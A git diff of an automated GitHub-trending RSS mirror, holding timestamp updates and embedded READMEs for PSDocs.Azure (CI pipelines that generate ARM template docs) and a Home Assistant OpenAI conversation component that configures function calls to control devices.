<p>The example finds all the Azure template files and outputs a markdown file for each in <code>out/docs/</code>. An example of the generated markdown is available <a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/templates/storage/v1/README.md">here</a></p>
<h3>Using with Azure Pipelines</h3>
<p>The following example shows how to setup Azure Pipelines to generate ARM template documentation in the markdown format. This example copies the generated markdown files to a designated blob storage.</p>
<ul>
<li>Create a new YAML pipeline with the Starter pipeline template.</li>
<li>Add a PowerShell task to:
<ul>
<li>Install <a href="https://www.powershellgallery.com/packages/PSDocs.Azure">PSDocs.Azure</a> module.</li>
<li>Scan for Azure template file recursively in the templates/ directory.</li>
<li>Generate a standard name of the markdown file. i.e. <code><name>_<version></code>.md</li>
<li>Generate the markdown to a specific directory.</li>
</ul> </li>
<li>Add an <a href="https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/deploy/azure-file-copy?view=azure-devops">AzureFileCopy task</a> to copy the generated markdown to an Azure Storage Blob container.</li>
</ul>
<p>For example:</p>
<pre><code class="language-yaml"># Example: .azure-pipelines/psdocs-blobstorage.yaml
jobs:
- job: 'generate_arm_template_documentation'
displayName: 'Generate ARM template docs'
pool:
vmImage: 'windows-2019'
steps:
# STEP 1: Generate Markdowns using PSDocs
- powershell: |
Install-Module -Name 'PSDocs.Azure' -Repository PSGallery -force;
# Scan for Azure template file recursively in the templates/ directory
Get-AzDocTemplateFile -Path templates/ | ForEach-Object {
# Generate a standard name of the markdown file. i.e. <name>_<version>.md
$template = Get-Item -Path $_.TemplateFile;
$templateName = $template.Directory.Parent.Name;
$version = $template.Directory.Name;
$docName = "$($templateName)_$version";
# Generate markdown
Invoke-PSDocument -Module PSDocs.Azure -OutputPath out/docs/ -InputObject $template.FullName -InstanceName $docName;
}
displayName: 'Export template data'
# STEP 2: Copy files to a storage account
- task: AzureFileCopy@4
displayName: 'Copy files to a storage account blob container'
inputs:
SourcePath: 'out/docs/*'
azureSubscription: 'psdocstest'
Destination: 'AzureBlob'
storage: '<storageaccountname>'
ContainerName: 'ps-docs'
</code></pre>
<h3>Using with GitHub Actions</h3>
<p>The following example shows how to setup GitHub Actions to copy generated markdown files to an Azure blob storage account.</p>
<ul>
<li>See <a href="https://help.github.com/en/articles/configuring-a-workflow#creating-a-workflow-file">Creating a workflow file</a> to create an empty workflow file.</li>
<li>Add a PowerShell step to:
<ul>
<li>Install <a href="https://www.powershellgallery.com/packages/PSDocs.Azure">PSDocs.Azure</a> module.</li>
<li>Scan for Azure template file recursively in the templates/ directory.</li>
<li>Generate a standard name of the markdown file. i.e. <code><name>_<version></code>.md</li>
<li>Generate the markdown to a specific directory.</li>
</ul> </li>
<li>Set the <code>STORAGEACCOUNTSECRET</code> action secret.</li>
<li>Use an <a href="https://github.com/marketplace/actions/azure-blob-storage-upload">Azure Blob Storage Upload action</a> to copy the generated markdown to an Azure Storage Blob container.</li>
</ul>
<p>For example:</p>
<pre><code class="language-yaml"># Example: .github/workflows/arm-docs.yaml
name: Generate ARM templates docs
on:
push:
branches: [ main ]
jobs:
arm_docs:
name: Generate ARM template docs
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v2
# STEP 1: Generate Markdowns using PSDocs
- name: Generate ARM markdowns
run: |
Install-Module -Name 'PSDocs.Azure' -Repository PSGallery -force;
# Scan for Azure template file recursively in the templates/ directory
Get-AzDocTemplateFile -Path templates/ | ForEach-Object {
# Generate a standard name of the markdown file. i.e. <name>_<version>.md
$template = Get-Item -Path $_.TemplateFile;
$templateName = $template.Directory.Parent.Name;
$version = $template.Directory.Name;
$docName = "$($templateName)_$version";
# Generate markdown
Invoke-PSDocument -Module PSDocs.Azure -OutputPath out/docs/ -InputObject $template.FullName -InstanceName $docName;
}
shell: pwsh
# STEP 2: Copy files to a storage account
- name: Copy files to a storage account
uses: bacongobbler/azure-blob-storage-upload@v1.1.1
with:
connection_string: ${{ secrets.STORAGEACCOUNTSECRET }}
container_name: ps-docs
source_dir: 'out/docs/*'
</code></pre>
<h2>Language reference</h2>
<p>PSDocs for Azure extends PowerShell with the following cmdlets and concepts.</p>
<h3>Commands</h3>
<p>The following commands exist in the <code>PSDocs.Azure</code> module:</p>
<ul>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/commands/en-US/Get-AzDocTemplateFile.md">Get-AzDocTemplateFile</a> - Get Azure template files within a directory structure.</li>
</ul>
<h3>Concepts</h3>
<p>The following conceptual topics exist in the <code>PSDocs.Azure</code> module:</p>
<ul>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/concepts/en-US/about_PSDocs_Azure_Badges.md">Badges</a></li>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/concepts/en-US/about_PSDocs_Azure_Configuration.md">Configuration</a>
<ul>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/concepts/en-US/about_PSDocs_Azure_Configuration.md#azure_snippet_skip_default_value_fn">AZURE_SNIPPET_SKIP_DEFAULT_VALUE_FN</a></li>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/concepts/en-US/about_PSDocs_Azure_Configuration.md#azure_snippet_skip_optional_parameter">AZURE_SNIPPET_SKIP_OPTIONAL_PARAMETER</a></li>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/concepts/en-US/about_PSDocs_Azure_Configuration.md#azure_use_parameter_file_snippet">AZURE_USE_PARAMETER_FILE_SNIPPET</a></li>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/concepts/en-US/about_PSDocs_Azure_Configuration.md#azure_use_command_line_snippet">AZURE_USE_COMMAND_LINE_SNIPPET</a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/concepts/en-US/about_PSDocs_Azure_Conventions.md">Conventions</a>
<ul>
<li><a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/docs/concepts/en-US/about_PSDocs_Azure_Conventions.md#azurenamebyparentpath">Azure.NameByParentPath</a></li>
</ul> </li>
</ul>
<h2>Changes and versioning</h2>
<p>Modules in this repository will use the <a href="http://semver.org/">semantic versioning</a> model to declare breaking changes from v1.0.0. Prior to v1.0.0, breaking changes may be introduced in minor (0.x.0) version increments. For a list of module changes please see the <a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/CHANGELOG.md">change log</a>.</p>
<blockquote>
<p>Pre-release module versions are created on major commits and can be installed from the PowerShell Gallery. Pre-release versions should be considered experimental. Modules and change log details for pre-releases will be removed as standard releases are made available.</p>
</blockquote>
<h2>Contributing</h2>
<p>This project welcomes contributions and suggestions. If you are ready to contribute, please visit the <a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/CONTRIBUTING.md">contribution guide</a>.</p>
<h2>Code of Conduct</h2>
<p>This project has adopted the <a href="https://opensource.microsoft.com/codeofconduct/">Microsoft Open Source Code of Conduct</a>. For more information see the <a href="https://opensource.microsoft.com/codeofconduct/faq/">Code of Conduct FAQ</a> or contact <a href="mailto:opencode@microsoft.com">opencode@microsoft.com</a> with any additional questions or comments.</p>
<h2>Maintainers</h2>
<ul>
<li><a href="https://github.com/BernieWhite">Bernie White</a></li>
<li><a href="https://github.com/vicperdana">Vic Perdana</a></li>
</ul>
<h2>License</h2>
<p>This project is <a href="https://raw.githubusercontent.com/Azure/PSDocs.Azure/main/LICENSE">licensed under the MIT License</a>.</p>
+ rachelmoorehead/powershell-snippets
+ 2024-01-04T01:36:26Z
+ tag:github.com,2024-01-04:/rachelmoorehead/powershell-snippets
+
+ <p>PowerShell Code Snippets</p><hr><h1>powershell-snippets</h1>
<p>PowerShell Code Snippets</p>
\ No newline at end of file
diff --git a/prisma/daily/index.xml b/prisma/daily/index.xml
index 6ac7fc1a02c..1af5c4578cc 100644
--- a/prisma/daily/index.xml
+++ b/prisma/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Prisma Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:38Z
+ 2024-01-04T01:36:23ZDaily Trending of Prisma in GitHub
\ No newline at end of file
diff --git a/processing/daily/index.xml b/processing/daily/index.xml
index 123e9af82b0..24a08ee8825 100644
--- a/processing/daily/index.xml
+++ b/processing/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Processing Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:40Z
+ 2024-01-04T01:36:24ZDaily Trending of Processing in GitHub
\ No newline at end of file
diff --git a/procfile/daily/index.xml b/procfile/daily/index.xml
index a7c9c433685..001c462cc1d 100644
--- a/procfile/daily/index.xml
+++ b/procfile/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Procfile Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:54Z
+ 2024-01-04T01:36:45ZDaily Trending of Procfile in GitHub
\ No newline at end of file
diff --git a/proguard/daily/index.xml b/proguard/daily/index.xml
index 1d064b61845..14825448f31 100644
--- a/proguard/daily/index.xml
+++ b/proguard/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Proguard Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:52Z
+ 2024-01-04T01:36:46ZDaily Trending of Proguard in GitHub
\ No newline at end of file
diff --git a/prolog/daily/index.xml b/prolog/daily/index.xml
index 15083330a4d..fa72c2010b1 100644
--- a/prolog/daily/index.xml
+++ b/prolog/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Prolog Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:53Z
+ 2024-01-04T01:36:44ZDaily Trending of Prolog in GitHub
\ No newline at end of file
diff --git a/promela/daily/index.xml b/promela/daily/index.xml
index 72d66ab5fd8..c75742896d5 100644
--- a/promela/daily/index.xml
+++ b/promela/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Promela Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:53Z
+ 2024-01-04T01:36:44ZDaily Trending of Promela in GitHub
\ No newline at end of file
diff --git a/propeller-spin/daily/index.xml b/propeller-spin/daily/index.xml
index bbb653048a9..455c4b3e91a 100644
--- a/propeller-spin/daily/index.xml
+++ b/propeller-spin/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Propeller Spin Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:57Z
+ 2024-01-04T01:36:48ZDaily Trending of Propeller Spin in GitHub
\ No newline at end of file
diff --git a/protocol-buffer-text-format/daily/index.xml b/protocol-buffer-text-format/daily/index.xml
index ab0d1351080..52411990642 100644
--- a/protocol-buffer-text-format/daily/index.xml
+++ b/protocol-buffer-text-format/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Protocol Buffer Text Format Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:55Z
+ 2024-01-04T01:36:48ZDaily Trending of Protocol Buffer Text Format in GitHub
\ No newline at end of file
diff --git a/protocol-buffer/daily/index.xml b/protocol-buffer/daily/index.xml
index eb753d73c0f..ea4b83b934f 100644
--- a/protocol-buffer/daily/index.xml
+++ b/protocol-buffer/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Protocol Buffer Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:56Z
+ 2024-01-04T01:36:47ZDaily Trending of Protocol Buffer in GitHub
\ No newline at end of file
diff --git a/public-key/daily/index.xml b/public-key/daily/index.xml
index 92933218d9a..3c0e29ff84c 100644
--- a/public-key/daily/index.xml
+++ b/public-key/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Public Key Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:57Z
+ 2024-01-04T01:36:49ZDaily Trending of Public Key in GitHub
\ No newline at end of file
diff --git a/pug/daily/index.xml b/pug/daily/index.xml
index 4fc7cd9450a..faf7c18f1b8 100644
--- a/pug/daily/index.xml
+++ b/pug/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pug Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:59Z
+ 2024-01-04T01:36:52ZDaily Trending of Pug in GitHub
\ No newline at end of file
diff --git a/puppet/daily/index.xml b/puppet/daily/index.xml
index ebb194faf17..aee958f4451 100644
--- a/puppet/daily/index.xml
+++ b/puppet/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Puppet Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:01Z
+ 2024-01-04T01:36:51ZDaily Trending of Puppet in GitHub
\ No newline at end of file
diff --git a/pure-data/daily/index.xml b/pure-data/daily/index.xml
index 230153a1aab..8ea04e78d29 100644
--- a/pure-data/daily/index.xml
+++ b/pure-data/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pure Data Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:35:58Z
+ 2024-01-04T01:36:50ZDaily Trending of Pure Data in GitHub
\ No newline at end of file
diff --git a/purebasic/daily/index.xml b/purebasic/daily/index.xml
index 082a4ee2bbc..5f047729837 100644
--- a/purebasic/daily/index.xml
+++ b/purebasic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PureBasic Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:00Z
+ 2024-01-04T01:36:52ZDaily Trending of PureBasic in GitHub
\ No newline at end of file
diff --git a/purescript/daily/index.xml b/purescript/daily/index.xml
index 245ff19dcb6..aba0320bb8c 100644
--- a/purescript/daily/index.xml
+++ b/purescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PureScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:03Z
+ 2024-01-04T01:36:55ZDaily Trending of PureScript in GitHub
\ No newline at end of file
diff --git a/python-console/daily/index.xml b/python-console/daily/index.xml
index 444c6672017..a16833c3ac8 100644
--- a/python-console/daily/index.xml
+++ b/python-console/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Python console Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:04Z
+ 2024-01-04T01:36:54ZDaily Trending of Python console in GitHub
\ No newline at end of file
diff --git a/python-traceback/daily/index.xml b/python-traceback/daily/index.xml
index 3ccdd6a5db2..46eeb78cd9d 100644
--- a/python-traceback/daily/index.xml
+++ b/python-traceback/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Python traceback Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:18Z
+ 2024-01-04T01:37:09ZDaily Trending of Python traceback in GitHub
\ No newline at end of file
diff --git a/python/daily/index.xml b/python/daily/index.xml
index 47d1639f6fd..5889627b9c0 100644
--- a/python/daily/index.xml
+++ b/python/daily/index.xml
@@ -1,28 +1,28 @@
GitHub Python Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:06Z
+ 2024-01-04T01:36:57ZDaily Trending of Python in GitHub
- jekalmin/extended_openai_conversation
- 2024-01-03T01:36:06Z
- tag:github.com,2024-01-03:/jekalmin/extended_openai_conversation
-
- <p>Home Assistant custom component of conversation agent. It uses OpenAI to control your devices.</p><hr><h1>Extended OpenAI Conversation</h1>
<p>This is custom component of Home Assistant.</p>
<p>Derived from <a href="https://www.home-assistant.io/integrations/openai_conversation/">OpenAI Conversation</a> with some new features such as call-service.</p>
<h2>Additional Features</h2>
<ul>
<li>Ability to call service of Home Assistant</li>
<li>Ability to create automation</li>
<li>Ability to get data from external API or web page</li>
<li>Ability to retrieve state history of entities</li>
<li>Option to pass the current user's name to OpenAI via the user message context</li>
</ul>
<h2>How it works</h2>
<p>Extended OpenAI Conversation uses OpenAI API's feature of <a href="https://platform.openai.com/docs/guides/function-calling">function calling</a> to call service of Home Assistant.</p>
<p>Since "gpt-3.5-turbo" model already knows how to call service of Home Assistant in general, you just have to let model know what devices you have by <a href="https://github.com/jekalmin/extended_openai_conversation#preparation">exposing entities</a></p>
<h2>Installation</h2>
<ol>
<li> <p>Install via HACS or by copying <code>extended_openai_conversation</code> folder into <code><config directory>/custom_components</code></p> </li>
<li> <p>Restart Home Assistant</p> </li>
<li> <p>Go to Settings > Devices & Services.</p> </li>
<li> <p>In the bottom right corner, select the Add Integration button.</p> </li>
<li> <p>Follow the instructions on screen to complete the setup (API Key is required).</p>
<ul>
<li><a href="https://www.home-assistant.io/integrations/openai_conversation/#generate-an-api-key">Generating an API Key</a></li>
<li>Specify "Base Url" if using OpenAI compatible servers like LocalAI, otherwise leave as it is.</li>
</ul> </li>
<li> <p>Go to Settings > <a href="https://my.home-assistant.io/redirect/voice_assistants/">Voice Assistants</a>.</p> </li>
<li> <p>Click to edit Assistant (named "Home Assistant" by default).</p> </li>
<li> <p>Select "Extended OpenAI Conversation" from "Conversation agent" tab.</p>
<details>
<summary>guide image</summary>
<img width="500" alt="แแ ณแแ ณแ แ ตแซแแ ฃแบ 2023-10-07 แแ ฉแแ ฎ 6 15 29" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/0849d241-0b82-47f6-9956-fdb82d678aca">
</details> </li>
</ol>
<h2>Preparation</h2>
<p>After installed, you need to expose entities from "http://{your-home-assistant}/config/voice-assistants/expose".</p>
<h2>Examples</h2>
<h3>1. Turn on single entity</h3>
<p><a href="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/938dee95-8907-44fd-9fb8-dc8cd559fea2">https://github.com/jekalmin/extended_openai_conversation/assets/2917984/938dee95-8907-44fd-9fb8-dc8cd559fea2</a></p>
<h3>2. Turn on multiple entities</h3>
<p><a href="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/528f5965-94a7-4cbe-908a-e24f7bbb0a93">https://github.com/jekalmin/extended_openai_conversation/assets/2917984/528f5965-94a7-4cbe-908a-e24f7bbb0a93</a></p>
<h3>3. Hook with custom notify function</h3>
<p><a href="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/4a575ee7-0188-41eb-b2db-6eab61499a99">https://github.com/jekalmin/extended_openai_conversation/assets/2917984/4a575ee7-0188-41eb-b2db-6eab61499a99</a></p>
<h3>4. Add automation</h3>
<p><a href="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/04b93aa6-085e-450a-a554-34c1ed1fbb36">https://github.com/jekalmin/extended_openai_conversation/assets/2917984/04b93aa6-085e-450a-a554-34c1ed1fbb36</a></p>
<h3>5. Play Netflix</h3>
<p><a href="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/64ba656e-3ae7-4003-9956-da71efaf06dc">https://github.com/jekalmin/extended_openai_conversation/assets/2917984/64ba656e-3ae7-4003-9956-da71efaf06dc</a></p>
<h2>Configuration</h2>
<h3>Options</h3>
<p>By clicking a button from Edit Assist, Options can be customized.<br> Options include <a href="https://www.home-assistant.io/integrations/openai_conversation/">OpenAI Conversation</a> options and two new options.</p>
<ul>
<li> <p><code>Attach Username</code>: Pass the active user's name (if applicable) to OpenAI via the message payload. Currently, this only applies to conversations through the UI or REST API.</p> </li>
<li> <p><code>Maximum Function Calls Per Conversation</code>: limit the number of function calls in a single conversation. (Sometimes function is called over and over again, possibly running into infinite loop)</p> </li>
<li> <p><code>Functions</code>: A list of mappings of function spec to function.</p>
<ul>
<li><code>spec</code>: Function which would be passed to <a href="https://platform.openai.com/docs/api-reference/chat/create#chat-create-functions">functions</a> of <a href="https://platform.openai.com/docs/api-reference/chat/create">chat API</a>.</li>
<li><code>function</code>: function that will be called.</li>
</ul> </li>
</ul>
<table>
<thead>
<tr>
<th>Edit Assist</th>
<th>Options</th>
</tr>
</thead>
<tbody>
<tr>
<td><img width="608" alt="1" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/bb394cd4-5790-4ac9-9311-dbcab0fcca56"></td>
<td><img width="591" alt="แแ ณแแ ณแ แ ตแซแแ ฃแบ 2023-10-10 แแ ฉแแ ฎ 10 53 57" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/431e4bc5-87a0-4d7b-8da0-6273f955877f"></td>
</tr>
</tbody>
</table>
<h3>Functions</h3>
<h4>Supported function types</h4>
<ul>
<li><code>native</code>: built-in function provided by "extended_openai_conversation".
<ul>
<li>Currently supported native functions and parameters are:
<ul>
<li><code>execute_service</code>
<ul>
<li><code>domain</code>(string): domain to be passed to <code>hass.services.async_call</code></li>
<li><code>service</code>(string): service to be passed to <code>hass.services.async_call</code></li>
<li><code>service_data</code>(string): service_data to be passed to <code>hass.services.async_call</code></li>
</ul> </li>
<li><code>add_automation</code>
<ul>
<li><code>automation_config</code>(string): An automation configuration in a yaml format</li>
</ul> </li>
<li><code>get_history</code>
<ul>
<li><code>entity_ids</code>(list): a list of entity ids to filter</li>
<li><code>start_time</code>(string): defaults to 1 day before the time of the request. It determines the beginning of the period</li>
<li><code>end_time</code>(string): the end of the period in URL encoded format (defaults to 1 day)</li>
<li><code>minimal_response</code>(boolean): only return last_changed and state for states other than the first and last state (defaults to true)</li>
<li><code>no_attributes</code>(boolean): skip returning attributes from the database (defaults to true)</li>
<li><code>significant_changes_only</code>(boolean): only return significant state changes (defaults to true)</li>
</ul> </li>
</ul> </li>
</ul> </li>
<li><code>script</code>: A list of services that will be called</li>
<li><code>template</code>: The value to be returned from function.</li>
<li><code>rest</code>: Getting data from REST API endpoint.</li>
<li><code>scrape</code>: Scraping information from website</li>
<li><code>composite</code>: A sequence of functions to execute.</li>
</ul>
<p>Below is a default configuration of functions.</p>
<pre><code class="language-yaml">- spec:
name: execute_services
description: Use this function to execute service of devices in Home Assistant.
parameters:
type: object
properties:
list:
type: array
items:
type: object
properties:
domain:
type: string
description: The domain of the service
service:
type: string
description: The service to be called
service_data:
type: object
description: The service data object to indicate what to control.
properties:
entity_id:
type: string
description: The entity_id retrieved from available devices. It must start with domain, followed by dot character.
required:
- entity_id
required:
- domain
- service
- service_data
function:
type: native
name: execute_service
</code></pre>
<h2>Function Usage</h2>
<p>This is an example of configuration of functions.</p>
<p>Copy and paste below yaml configuration into "Functions".<br> Then you will be able to let OpenAI call your function.</p>
<h3>1. template</h3>
<h4>1-1. Get current weather</h4>
<pre><code class="language-yaml">- spec:
name: get_current_weather
description: Get the current weather in a given location
parameters:
type: object
properties:
location:
type: string
description: The city and state, e.g. San Francisco, CA
unit:
type: string
enum:
- celcius
- farenheit
required:
- location
function:
type: template
value_template: The temperature in {{ location }} is 25 {{unit}}
</code></pre>
<img width="300" alt="แแ ณแแ ณแ แ ตแซแแ ฃแบ 2023-10-07 แแ ฉแแ ฎ 7 56 27" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/05e31ea5-daab-4759-b57d-9f5be546bac8">
<h3>2. script</h3>
<h4>2-1. Add item to shopping cart</h4>
<pre><code class="language-yaml">- spec:
name: add_item_to_shopping_cart
description: Add item to shopping cart
parameters:
type: object
properties:
item:
type: string
description: The item to be added to cart
required:
- item
function:
type: script
sequence:
- service: shopping_list.add_item
data:
name: '{{item}}'
</code></pre>
<img width="300" alt="แแ ณแแ ณแ แ ตแซแแ ฃแบ 2023-10-07 แแ ฉแแ ฎ 7 54 56" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/89060728-4703-4e57-8423-354cdc47f0ee">
<h4>2-2. Send messages to another messenger</h4>
<p>In order to accomplish "send it to Line" like <a href="https://github.com/jekalmin/extended_openai_conversation#3-hook-with-custom-notify-function">example3</a>, register a notify function like below.</p>
<pre><code class="language-yaml">- spec:
name: send_message_to_line
description: Use this function to send message to Line.
parameters:
type: object
properties:
message:
type: string
description: message you want to send
required:
- message
function:
type: script
sequence:
- service: script.notify_all
data:
message: "{{ message }}"
</code></pre>
<img width="300" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/16dc4ca0-c823-4dfe-a2b7-1ba7623acc70">
<h4>2-3. Get events from calendar</h4>
<p>In order to pass result of calling service to OpenAI, set response variable to <code>_function_result</code>.</p>
<pre><code class="language-yaml">- spec:
name: get_events
description: Use this function to get list of calendar events.
parameters:
type: object
properties:
start_date_time:
type: string
description: The start date time in '%Y-%m-%dT%H:%M:%S%z' format
end_date_time:
type: string
description: The end date time in '%Y-%m-%dT%H:%M:%S%z' format
required:
- start_date_time
- end_date_time
function:
type: script
sequence:
- service: calendar.list_events
data:
start_date_time: "{{start_date_time}}"
end_date_time: "{{end_date_time}}"
target:
entity_id: calendar.test
response_variable: _function_result
</code></pre>
<img width="300" alt="แแ ณแแ ณแ แ ตแซแแ ฃแบ 2023-10-31 แแ ฉแแ ฎ 9 04 56" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/7a6c6925-a53e-4363-a93c-45f63951d41b">
<h4>2-4. Play Youtube on TV</h4>
<pre><code class="language-yaml">- spec:
name: play_youtube
description: Use this function to play Youtube.
parameters:
type: object
properties:
video_id:
type: string
description: The video id.
required:
- video_id
function:
type: script
sequence:
- service: webostv.command
data:
entity_id: media_player.{YOUR_WEBOSTV}
command: system.launcher/launch
payload:
id: youtube.leanback.v4
contentId: "{{video_id}}"
- delay:
hours: 0
minutes: 0
seconds: 10
milliseconds: 0
- service: webostv.button
data:
entity_id: media_player.{YOUR_WEBOSTV}
button: ENTER
</code></pre>
<img width="300" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/d5c9e0db-8d7c-4a7a-bc46-b043627ffec6">
<h4>2-5. Play Netflix on TV</h4>
<pre><code class="language-yaml">- spec:
name: play_netflix
description: Use this function to play Netflix.
parameters:
type: object
properties:
video_id:
type: string
description: The video id.
required:
- video_id
function:
type: script
sequence:
- service: webostv.command
data:
entity_id: media_player.{YOUR_WEBOSTV}
command: system.launcher/launch
payload:
id: netflix
contentId: "m=https://www.netflix.com/watch/{{video_id}}"
</code></pre>
<img width="300" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/346065d3-7ab9-49c8-ba30-b79b37a5f084">
<h3>3. native</h3>
<h4>3-1. Add automation</h4>
<p>Before adding automation, I highly recommend set notification on <code>automation_registered_via_extended_openai_conversation</code> event and create separate "Extended OpenAI Assistant" and "Assistant"</p>
<p>(Automation can be added even if conversation fails because of failure to get response message, not automation)</p>
<table>
<thead>
<tr>
<th>Create Assistant</th>
<th>Notify on created</th>
</tr>
</thead>
<tbody>
<tr>
<td><img width="830" alt="1" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/b7030a46-9a4e-4ea8-a4ed-03d2eb3af0a9"></td>
<td><img width="1116" alt="แแ ณแแ ณแ แ ตแซแแ ฃแบ 2023-10-13 แแ ฉแแ ฎ 6 01 40" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/7afa3709-1c1d-41d0-8847-70f2102d824f"></td>
</tr>
</tbody>
</table>
<p>Copy and paste below configuration into "Functions"</p>
<p><strong>For English</strong></p>
<pre><code class="language-yaml">- spec:
name: add_automation
description: Use this function to add an automation in Home Assistant.
parameters:
type: object
properties:
automation_config:
type: string
description: A configuration for automation in a valid yaml format. Next line character should be \n. Use devices from the list.
required:
- automation_config
function:
type: native
name: add_automation
</code></pre>
<p><strong>For Korean</strong></p>
<pre><code class="language-yaml">- spec:
name: add_automation
description: Use this function to add an automation in Home Assistant.
parameters:
type: object
properties:
automation_config:
type: string
description: A configuration for automation in a valid yaml format. Next line character should be \\n, not \n. Use devices from the list.
required:
- automation_config
function:
type: native
name: add_automation
</code></pre>
<img width="300" alt="แแ ณแแ ณแ แ ตแซแแ ฃแบ 2023-10-31 แแ ฉแแ ฎ 9 32 27" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/55f5fe7e-b1fd-43c9-bce6-ac92e203598f">
<h4>3-2. Get History</h4>
<p>Get state history of entities</p>
<pre><code class="language-yaml">- spec:
name: get_history
description: Retrieve historical data of specified entities.
parameters:
type: object
properties:
entity_ids:
type: array
items:
type: string
description: The entity id to filter.
start_time:
type: string
description: Start of the history period in "%Y-%m-%dT%H:%M:%S%z".
end_time:
type: string
description: End of the history period in "%Y-%m-%dT%H:%M:%S%z".
required:
- entity_ids
function:
type: composite
sequence:
- type: native
name: get_history
response_variable: history_result
- type: template
value_template: >-
{% set ns = namespace(result = [], list = []) %}
{% for item_list in history_result %}
{% set ns.list = [] %}
{% for item in item_list %}
{% set last_changed = item.last_changed | as_timestamp | timestamp_local if item.last_changed else None %}
{% set new_item = dict(item, last_changed=last_changed) %}
{% set ns.list = ns.list + [new_item] %}
{% endfor %}
{% set ns.result = ns.result + [ns.list] %}
{% endfor %}
{{ ns.result }}
</code></pre>
<img width="300" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/32217f3d-10fc-4001-9028-717b1683573b">
<h3>4. scrape</h3>
<h4>4-1. Get current HA version</h4>
<p>Scrape version from webpage, "<a href="https://www.home-assistant.io">https://www.home-assistant.io</a>"</p>
<p>Unlike <a href="https://www.home-assistant.io/integrations/scrape/">scrape</a>, "value_template" is added at root level in which scraped data from sensors are passed.</p>
<pre><code class="language-yaml">- spec:
name: get_ha_version
description: Use this function to get Home Assistant version
parameters:
type: object
properties:
dummy:
type: string
description: Nothing
function:
type: scrape
resource: https://www.home-assistant.io
value_template: "version: {{version}}, release_date: {{release_date}}"
sensor:
- name: version
select: ".current-version h1"
value_template: '{{ value.split(":")[1] }}'
- name: release_date
select: ".release-date"
value_template: '{{ value.lower() }}'
</code></pre>
<img width="300" alt="แแ ณแแ ณแ แ ตแซแแ ฃแบ 2023-10-31 แแ ฉแแ ฎ 9 46 07" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/e640c3f3-8d68-486b-818e-bd81bf71c2f7">
<h3>5. rest</h3>
<h4>5-1. Get friend names</h4>
<ul>
